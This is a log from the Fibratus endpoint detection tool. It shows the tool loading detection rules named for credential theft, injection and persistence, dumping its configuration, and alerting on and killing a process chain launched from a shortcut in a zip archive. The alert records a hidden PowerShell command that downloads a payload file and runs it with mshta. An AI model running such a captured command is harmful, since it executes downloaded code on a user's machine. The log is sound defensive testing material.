C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_suspicious_process_execution_from_archive_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-12T17:44:04+01:00 level=info msg=bootstrapping with pid 3560. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-12T17:44:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-mem=>false flush-interval=>1s max-buffers=>36 enable-thread=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-handle=>false enable-net=>true enable-audit-api=>true enable-vamap=>true stack-enrichment=>true buffer-size=>512 enable-image=>true enable-dns=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s enabled=>false trace-log=>false index-name=>fibratus healthcheck=>true timeout=>5s flush-period=>1s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false timeout=>5s method=>POST] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false vhost=>/ exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus passive=>false delivery-mode=>transient tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-allocs=>false scan-timeout=>10s skip-registry=>false skip-mmaps=>false enabled=>false skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-12T17:44:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:44:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:44:16+01:00 level=info msg=sending alert: [Suspicious process execution from archive via shortcut file]. Text: Execution of suspicious process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe from shortcut file C:\Users\nedo\AppData\Local\Temp\5e1576e3-512b-4743-95c1-d5e728ad4f05_test.zip.f05\test.lnk + Event(s): + Seq: 477357 + Pid: 2260 + Tid: 12416 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-12 17:44:12.9399311 +0100 CET + Params: attributes➜ ARCHIVE, create_disposition➜ CREATE, create_options➜ SEQUENTIAL_ONLY|SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffff808232c0f620, file_path➜ C:\Users\nedo\AppData\Local\Temp\5e1576e3-512b-4743-95c1-d5e728ad4f05_test.zip.f05\test.lnk, irp➜ ffff808231be80f8, share_mask➜ READ|WRITE, status➜ Success, tid➜ 12416, type➜ File + Metadata: rule.seq.link: 12898309594782105600, rule.name: Suspicious process execution from archive via shortcut file, tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002, tactic.name: Execution + + Pid: 2260 + Ppid: 2252 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_2260_1592913036:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 480387 + Pid: 2260 + Tid: 12416 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-12 17:44:13.0927279 +0100 CET + Params: cmdline➜ "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html, directory_table_base➜ 417e6d000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808224ad60c0, name➜ powershell.exe, pid➜ 7080, ppid➜ 2260, real_ppid➜ 2260, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-12 17:44:13.0926673 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/, rule.seq.link: 12898309594782105600, rule.name: Suspicious process execution from archive via shortcut file + + Pid: 2260 + Ppid: 2252 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_2260_1592913036:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-12T17:44:16+01:00 level=info msg=executing kill action: pids=[2260 7080] rule=Suspicious process execution from archive via shortcut file source=rules/engine.go:294 +time=2025-12-12T17:45:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-12T17:45:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:45:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-15T18:25:40+01:00 level=info msg=bootstrapping with pid 2924. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-12-15T18:25:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-image=>true enable-vamap=>true buffer-size=>512 enable-audit-api=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-fileio=>true stack-enrichment=>true enable-mem=>false enable-threadpool=>false flush-interval=>1s enable-handle=>false enable-dns=>false enable-net=>true enable-thread=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info formatter=>text max-age=>0 max-size=>100] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false enabled=>false] elasticsearch=>[ enabled=>false timeout=>5s gzip-compression=>false index-name=>fibratus template-name=>fibratus trace-log=>false healthcheck-timeout=>5s flush-period=>1s healthcheck=>true healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus passive=>false routing-key=>fibratus delivery-mode=>transient durable=>false vhost=>/ timeout=>5s enabled=>false url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false enabled=>false fastscan=>true skip-mmaps=>false excluded-files=>[] skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:173 +time=2025-12-15T18:25:40+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-12-15T18:25:40+01:00 level=warning msg=[File access to SAM database] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Credentials access from backups via Rundll32] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Credential discovery via VaultCmd tool] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS access from unsigned executable] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS handle leak via Seclogon] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS memory dump preparation via SilentProcessExit] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS memory dump via MiniDumpWriteDump] rule is disabled source=rules/compiler.go:75 